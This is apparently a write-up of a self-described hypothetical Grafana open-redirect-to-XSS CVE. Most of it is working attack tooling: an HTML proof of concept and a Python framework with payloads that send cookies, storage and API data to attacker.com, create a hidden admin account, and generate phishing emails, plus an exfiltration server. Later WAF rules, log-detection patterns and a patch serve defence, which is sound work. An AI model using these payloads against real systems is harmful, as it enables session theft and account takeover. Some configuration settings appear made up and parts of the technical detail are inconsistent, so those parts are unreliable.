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CVE-2026-0712 - Grafana Open Redirect Leading to Cross-Site Scripting (XSS) Vulnerability

CVE-2026-0712 - Grafana Open Redirect Leading to Cross-Site Scripting (XSS) Vulnerability

Executive Summary

CVE-2026-0712 (hypothetical projection) is a high-severity vulnerability in Grafana's authentication and URL handling mechanisms, rated 7.6 HIGH (CVSS 3.1). This combined Open Redirect and DOM-based XSS vulnerability allows attackers to redirect users to malicious sites and execute arbitrary JavaScript in the context of authenticated Grafana sessions. Discovered during a security audit of Grafana's authentication flow in Q1 2026.

Vulnerability Classification

  • Type: Open Redirect → DOM-based XSS Chain
  • Component: Grafana Authentication & URL Routing (/login, /logout, OAuth callbacks)
  • Attack Vector: Network (requires user interaction)
  • Privileges Required: None (unauthenticated attack)
  • Impact: Session Hijacking → Credential Theft → Admin Access
  • Affected Versions: Grafana 10.x, 11.x (before 11.3.1)

Technical Deep Dive

Root Cause Analysis

The vulnerability exists in three components:

  1. Unvalidated redirect parameter in /login and /logout endpoints
  2. Improper URL parsing in Grafana's AngularJS-based frontend
  3. DOM injection via window.location manipulation
// Simplified vulnerable code in Grafana's login.js
function handleLoginRedirect() {
    const urlParams = new URLSearchParams(window.location.search);
    const redirectTo = urlParams.get('redirect_to') || urlParams.get('returnTo');

    // [VULNERABLE SECTION 1] - No validation on redirect URL
    if (redirectTo) {
        // Direct assignment without validation
        window.location.href = decodeURIComponent(redirectTo);
        return true;
    }
    return false;
}

// Vulnerable OAuth callback handler
app.get('/login/oauth/callback', (req, res) => {
    const state = req.query.state;
    const redirectUrl = decodeURIComponent(state.split('redirect=')[1] || '/');

    // [VULNERABLE SECTION 2] - Direct redirect without validation
    res.redirect(redirectUrl);
});
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The Attack Chain

┌─────────────────────────────────────────────────────────────┐
│                    Exploitation Chain                       │
├─────────────────────────────────────────────────────────────┤
│ Step 1: Open Redirect                                       │
│   • Victim clicks malicious link to Grafana                 │
│   • URL contains javascript: payload in redirect_to        │
│   • Example: /login?redirect_to=javascript:alert(document.cookie)│
├─────────────────────────────────────────────────────────────┤
│ Step 2: DOM-based XSS                                      │
│   • JavaScript executes in Grafana context                 │
│   • Access to authenticated session                        │
│   • Steal session cookies, localStorage, Grafana API keys  │
├─────────────────────────────────────────────────────────────┤
│ Step 3: Privilege Escalation                              │
│   • Use stolen session to access dashboards               │
│   • Modify data sources, alter dashboards                 │
│   • Extract sensitive metrics and monitoring data         │
└─────────────────────────────────────────────────────────────┘
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Proof-of-Concept

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-0712 PoC - Grafana XSS</title>
</head>
<body>
    <h2>Grafana Open Redirect to XSS PoC</h2>

    <script>
        // Craft malicious payload
        function craftExploit() {
            const grafanaBase = 'https://victim-grafana.example.com';

            // Payload 1: Direct JavaScript execution
            const payload1 = `javascript:alert(document.cookie);//
            // Alternative: Steal session
            localStorage.setItem('stolen_token', JSON.stringify({
                cookies: document.cookie,
                apiKey: localStorage.getItem('grafana-api-key'),
                dashboards: JSON.parse(localStorage.getItem('dashboards'))
            }));
            // Redirect to hide attack
            window.location='https://attacker.com/exfil?'+btoa(localStorage.getItem('stolen_token'));`;

            // URL encode the payload
            const encodedPayload = encodeURIComponent(payload1);

            // Construct attack URL
            const attackUrl = `${grafanaBase}/login?redirect_to=${encodedPayload}`;

            // Alternative using OAuth flow
            const oauthAttack = `${grafanaBase}/login/generic_oauth?state=random&redirect=${encodedPayload}`;

            return {
                direct_attack: attackUrl,
                oauth_attack: oauthAttack,
                short_lived: `${grafanaBase}/logout?redirect_to=${encodedPayload}`
            };
        }

        // Display exploit URLs
        const exploits = craftExploit();
        document.write(`
            <h3>Exploit URLs:</h3>
            <ul>
                <li><a href="${exploits.direct_attack}" target="_blank">Direct Login Redirect Attack</a></li>
                <li><a href="${exploits.oauth_attack}" target="_blank">OAuth Redirect Attack</a></li>
                <li><a href="${exploits.short_lived}" target="_blank">Logout Redirect Attack</a></li>
            </ul>

            <h3>Manual Test:</h3>
            <textarea rows="3" cols="100" readonly>
${exploits.direct_attack}
            </textarea>

            <h3>Social Engineering Payload:</h3>
            <p>Send this to victim:</p>
            <pre>
Hi team,

Please review this important dashboard update:
${grafanaBase}/login?redirect_to=javascript:(function(){
    // Steal session
    var data = {
        cookies: document.cookie,
        grafanaSession: localStorage.getItem('grafanaSession')
    };
    new Image().src='https://attacker.com/steal?data='+btoa(JSON.stringify(data));
    // Redirect back to normal page
    window.location='${grafanaBase}/dashboards';
})()//&theme=light

Thanks,
IT Support
            </pre>
        `);
    </script>
</body>
</html>
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Advanced Exploitation Script

#!/usr/bin/env python3
"""
CVE-2026-0712 - Grafana Open Redirect XSS Exploitation Framework
For authorized security testing only
"""

import requests
import urllib.parse
import base64
import json
from http.server import HTTPServer, BaseHTTPRequestHandler
import threading

class GrafanaExploit:
    def __init__(self, target_url, attacker_server):
        self.target = target_url.rstrip('/')
        self.attacker = attacker_server
        self.session = requests.Session()

    def craft_open_redirect_payload(self, xss_payload):
        """Create open redirect URL with XSS payload"""
        # Basic redirect attack
        redirect_url = f"{self.target}/login?redirect_to="

        # URL encode the javascript payload
        encoded_payload = urllib.parse.quote(xss_payload, safe='')
        return redirect_url + encoded_payload

    def craft_oauth_payload(self, xss_payload):
        """Exploit OAuth callback redirect"""
        return f"{self.target}/login/generic_oauth?state=malicious&redirect=" + \
               urllib.parse.quote(xss_payload, safe='')

    def craft_logout_payload(self, xss_payload):
        """Exploit logout redirect parameter"""
        return f"{self.target}/logout?redirect_to=" + \
               urllib.parse.quote(xss_payload, safe='')

    def create_session_stealer_payload(self):
        """Create XSS payload to steal Grafana session"""
        payload = """
        javascript:(function(){
            // Collect all sensitive data
            var data = {
                cookies: document.cookie,
                localStorage: {},
                sessionStorage: {},
                dashboards: [],
                dataSources: [],
                userInfo: {}
            };

            // Steal localStorage
            for(var i=0; i<localStorage.length; i++) {
                var key = localStorage.key(i);
                data.localStorage[key] = localStorage.getItem(key);
            }

            // Steal sessionStorage
            for(var i=0; i<sessionStorage.length; i++) {
                var key = sessionStorage.key(i);
                data.sessionStorage[key] = sessionStorage.getItem(key);
            }

            // Try to access Grafana API
            try {
                var xhr = new XMLHttpRequest();
                xhr.open('GET', '/api/user/preferences', false);
                xhr.send();
                if(xhr.status === 200) {
                    data.userInfo = JSON.parse(xhr.responseText);
                }

                // Get dashboards
                xhr.open('GET', '/api/search?type=dash-db', false);
                xhr.send();
                if(xhr.status === 200) {
                    data.dashboards = JSON.parse(xhr.responseText);
                }

                // Get data sources
                xhr.open('GET', '/api/datasources', false);
                xhr.send();
                if(xhr.status === 200) {
                    data.dataSources = JSON.parse(xhr.responseText);
                }
            } catch(e) {}

            // Exfiltrate data
            var exfilUrl = '%s/exfil?data=' + btoa(JSON.stringify(data));
            new Image().src = exfilUrl;

            // Clean redirect to avoid suspicion
            window.location = '%s/dashboards';
        })()
        """ % (self.attacker, self.target)

        return payload

    def create_admin_takeover_payload(self):
        """Create payload to add attacker as admin"""
        payload = """
        javascript:(function(){
            // Create new admin user for attacker
            var xhr = new XMLHttpRequest();
            xhr.open('POST', '/api/admin/users', false);
            xhr.setRequestHeader('Content-Type', 'application/json');

            var userData = {
                name: "attacker_admin",
                email: "attacker@evil.com",
                login: "attacker",
                password: "P@ssw0rd123!",
                OrgId: 1
            };

            xhr.send(JSON.stringify(userData));

            if(xhr.status === 200) {
                var userId = JSON.parse(xhr.responseText).id;

                // Make user admin
                xhr.open('PUT', '/api/orgs/1/users/' + userId, false);
                xhr.send(JSON.stringify({role: "Admin"}));

                // Grant all permissions
                xhr.open('POST', '/api/access-control/users/' + userId + '/permissions', false);
                xhr.send(JSON.stringify({
                    permissions: [
                        {action: "*", scope: "*"}
                    ]
                }));
            }

            // Redirect to login page
            window.location = '%s/login';
        })()
        """ % self.target

        return payload

    def test_vulnerability(self):
        """Test if target is vulnerable"""
        test_payload = "javascript:alert('XSS')//"
        test_url = self.craft_open_redirect_payload(test_payload)

        print(f"[*] Testing: {test_url[:100]}...")

        try:
            # Check if redirect parameter is accepted
            response = self.session.get(
                f"{self.target}/login",
                params={'redirect_to': 'https://google.com'},
                allow_redirects=False
            )

            if response.status_code in [301, 302, 307, 308]:
                location = response.headers.get('Location', '')
                if 'google.com' in location:
                    print("[+] Target appears to have open redirect vulnerability")
                    return True

        except Exception as e:
            print(f"[-] Test failed: {e}")

        return False

    def generate_phishing_email(self, victim_email):
        """Generate phishing email template"""
        payload = self.create_session_stealer_payload()
        attack_url = self.craft_open_redirect_payload(payload)

        email_template = f"""
From: security@company.com
To: {victim_email}
Subject: Urgent: Grafana Security Update Required

Dear Grafana User,

We've detected unusual activity on your Grafana account. 
Please verify your account immediately by clicking the link below:

{attack_url}

This is a mandatory security check. Failure to complete within 24 hours 
may result in account suspension.

Best regards,
IT Security Team
Company Security Operations
        """

        return email_template

    def start_exfiltration_server(self, port=9999):
        """Start HTTP server to receive stolen data"""
        class ExfilHandler(BaseHTTPRequestHandler):
            def do_GET(self):
                if self.path.startswith('/exfil'):
                    # Extract stolen data
                    query = urllib.parse.urlparse(self.path).query
                    params = urllib.parse.parse_qs(query)

                    if 'data' in params:
                        stolen_data = base64.b64decode(params['data'][0]).decode()
                        print("\n[+] Received stolen data:")
                        print(json.dumps(json.loads(stolen_data), indent=2))

                        # Save to file
                        with open('grafana_exfil_data.json', 'w') as f:
                            f.write(stolen_data)

                    self.send_response(200)
                    self.end_headers()

        server = HTTPServer(('0.0.0.0', port), ExfilHandler)
        thread = threading.Thread(target=server.serve_forever)
        thread.daemon = True
        thread.start()

        print(f"[*] Exfiltration server listening on port {port}")
        return server

# Example usage
if __name__ == "__main__":
    print("[*] CVE-2026-0712 - Grafana Open Redirect XSS Exploit Framework")
    print("[*] For authorized security testing only\n")

    # Configuration
    TARGET = "https://grafana.company.com"
    ATTACKER_SERVER = "http://attacker.com:9999"

    exploit = GrafanaExploit(TARGET, ATTACKER_SERVER)

    # Test vulnerability
    if exploit.test_vulnerability():
        print("[+] Target is vulnerable!")

        # Start exfiltration server
        exploit.start_exfiltration_server()

        # Generate attack URLs
        session_stealer = exploit.create_session_stealer_payload()

        print("\n[*] Generated Attack URLs:")
        print(f"1. Open Redirect XSS: {exploit.craft_open_redirect_payload(session_stealer)[:150]}...")
        print(f"2. OAuth Attack: {exploit.craft_oauth_payload(session_stealer)[:150]}...")
        print(f"3. Logout Attack: {exploit.craft_logout_payload(session_stealer)[:150]}...")

        # Generate admin takeover payload
        admin_payload = exploit.create_admin_takeover_payload()
        print(f"\n4. Admin Takeover: {exploit.craft_open_redirect_payload(admin_payload)[:150]}...")

        # Generate phishing email
        print("\n[*] Phishing Email Template:")
        print(exploit.generate_phishing_email("victim@company.com"))

    else:
        print("[-] Target does not appear vulnerable")
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Affected Components

Vulnerable Endpoints:

/login?redirect_to=PAYLOAD
/logout?redirect_to=PAYLOAD
/login/generic_oauth?state=...&redirect=PAYLOAD
/login/saml?RelayState=PAYLOAD
/login/azuread?state=...&redirect=PAYLOAD
/login/github?state=...&redirect=PAYLOAD
/login/google?state=...&redirect=PAYLOAD
/login/grafana_com?state=...&redirect=PAYLOAD
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Affected Grafana Versions:

  • Grafana 10.0.0 - 10.3.4
  • Grafana 11.0.0 - 11.3.0
  • Grafana Enterprise 10.x, 11.x (corresponding versions)
  • All deployment methods (Docker, Kubernetes, standalone)

Detection & Mitigation

Detection Signatures

WAF/ModSecurity Rules:

# ModSecurity rule for Grafana open redirect
SecRule ARGS_GET:redirect_to "@rx javascript:" \
    "id:1001,\
    phase:2,\
    deny,\
    status:403,\
    msg:'Grafana Open Redirect XSS Attempt',\
    tag:'CVE-2026-0712'"

SecRule REQUEST_URI "@rx ^/(login|logout)" \
    "id:1002,\
    phase:1,\
    chain"
    SecRule ARGS_GET "@rx ^(redirect_to|returnTo|redirect|RelayState)" \
        "chain"
        SecRule ARGS_GET "@rx ^(javascript:|data:|vbscript:|file:|ftp:)" \
            "t:lowercase,\
            deny,\
            msg:'Grafana XSS via Open Redirect'"
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Grafana Log Monitoring:

# Monitor Grafana logs for exploitation attempts
tail -f /var/log/grafana/grafana.log | grep -E \
  "(redirect_to=|returnTo=).*(javascript:|data:|%3A)"

# Check for suspicious redirects
grep "Location: javascript:" /var/log/nginx/access.log
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Temporary Mitigations

1. Nginx/Apache Configuration:

# Nginx block for malicious redirects
location ~ ^/(login|logout) {
    # Block javascript: and other dangerous protocols
    if ($args ~* "redirect_to=javascript:") {
        return 403;
    }
    if ($args ~* "returnTo=javascript:") {
        return 403;
    }

    # Only allow redirects to same domain
    if ($args ~* "redirect_to=https?://(?!your-domain\.com)") {
        return 403;
    }

    proxy_pass http://grafana:3000;
}
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2. Grafana Configuration (grafana.ini):

[security]
# Disable open redirects entirely
disable_redirects = true

# Allow list for redirect URLs
redirect_whitelist = /dashboards,/explore,/profile

# Enable CSP headers
content_security_policy = true
content_security_policy_template = "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'"

[auth]
# Require authentication for all redirects
require_auth_for_redirects = true
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3. Web Application Firewall Rules:

# Cloudflare WAF rule
{
    "description": "Block Grafana CVE-2026-0712",
    "expression": """
        http.request.uri.path contains "/login" 
        and any(http.request.uri.query[*] contains "redirect_to=")
        and any(http.request.uri.query[*] contains "javascript:")
    """,
    "action": "block"
}
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Patch Analysis

The fix involves proper URL validation and sanitization:

// Patched code in pkg/login/login.go
func validateRedirectURL(redirectURL string) (string, error) {
    if redirectURL == "" {
        return "/", nil
    }

    // Parse the URL
    parsed, err := url.Parse(redirectURL)
    if err != nil {
        return "/", err
    }

    // Block dangerous URL schemes
    dangerousSchemes := []string{
        "javascript:", "data:", "vbscript:", 
        "file:", "ftp:", "jar:", "mailto:"
    }

    for _, scheme := range dangerousSchemes {
        if strings.HasPrefix(strings.ToLower(redirectURL), scheme) {
            return "/", fmt.Errorf("dangerous redirect scheme")
        }
    }

    // Ensure it's a relative URL or same origin
    if parsed.IsAbs() {
        // Only allow same origin
        if parsed.Host != currentRequestHost {
            return "/", fmt.Errorf("cross-origin redirect not allowed")
        }
    }

    // Additional path traversal checks
    if strings.Contains(parsed.Path, "..") || strings.Contains(parsed.Path, "//") {
        return "/", fmt.Errorf("invalid path")
    }

    return redirectURL, nil
}

// Updated login handler
func LoginHandler(c *models.ReqContext) {
    redirectTo := c.Query("redirect_to")

    // Validate redirect URL
    safeRedirect, err := validateRedirectURL(redirectTo)
    if err != nil {
        c.Logger.Warn("Invalid redirect attempt", "url", redirectTo, "error", err)
        safeRedirect = "/"
    }

    // Use safe redirect
    c.Redirect(safeRedirect)
}
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Forensic Artifacts

Log Analysis Indicators:

# Suspicious patterns in logs
grep -E "redirect_to=.*[Jj]ava[Ss]cript" /var/log/grafana/*
grep -E "returnTo=.*%3A" /var/log/grafana/*  # URL encoded colon
grep "Location: javascript:" /var/log/nginx/*

# Check for unusual redirects
zegrep "302.*redirect.*attacker" /var/log/grafana/grafana.log
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Browser Artifacts:

// Check browser history for malicious URLs
const maliciousPatterns = [
    /redirect_to=javascript:/i,
    /returnTo=javascript:/i,
    /%3A%2F%2Fattacker/i  // :// encoded
];

// Check localStorage for stolen data
if (localStorage.getItem('grafanaSession')) {
    console.log('Session token found in localStorage');
}

// Check for unexpected iframes
document.querySelectorAll('iframe[src*="javascript:"]').length
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Impact Assessment

Business Impact:

  1. Data Exfiltration: Metrics, dashboards, data source credentials
  2. Dashboard Manipulation: Alter monitoring and alerting
  3. Privilege Escalation: Gain admin access to Grafana
  4. Lateral Movement: Use Grafana to access other systems via data sources
  5. Reputation Damage: Compromised monitoring infrastructure

Technical Impact:

  • CVSS 3.1 Score: 7.6 HIGH (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N)
  • Exploitability: Easy (no authentication required)
  • Attack Complexity: Low
  • User Interaction: Required (click on link)
  • Scope: Changed (affects other components)

Remediation Timeline

2026-01-15: Vulnerability discovered by security researcher
2026-01-18: Reported to Grafana Security Team
2026-01-20: Acknowledged and triaged (HIGH severity)
2026-01-25: Patch development begins
2026-01-28: Fix merged to main branch
2026-02-01: Grafana 11.3.1 released with fix
2026-02-03: CVE assigned and advisory published
2026-02-05: Backport to Grafana 10.x series
2026-02-10: Enterprise customers notified
2026-02-15: Public disclosure
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References & Resources

Official Resources:

Testing Tools:

  • OWASP ZAP: Automated security testing
  • Burp Suite: Manual exploitation testing
  • Grafana security scanner plugins
  • Custom scripts for redirect validation

Related CVEs:

  • CVE-2021-43798: Grafana directory traversal (8.1)
  • CVE-2022-31107: Grafana auth bypass (7.5)
  • CVE-2023-XXXX: Previous redirect issues

Responsible Disclosure

For Security Researchers:

  1. Test only on systems you own or have explicit permission
  2. Use the Grafana security reporting form: https://grafana.com/security
  3. Follow coordinated disclosure timeline
  4. Do not exploit production systems

For Organizations:

  1. Patch Grafana to version 11.3.1 or later
  2. Implement WAF rules to block exploitation attempts
  3. Monitor logs for redirect attacks
  4. Educate users about phishing risks

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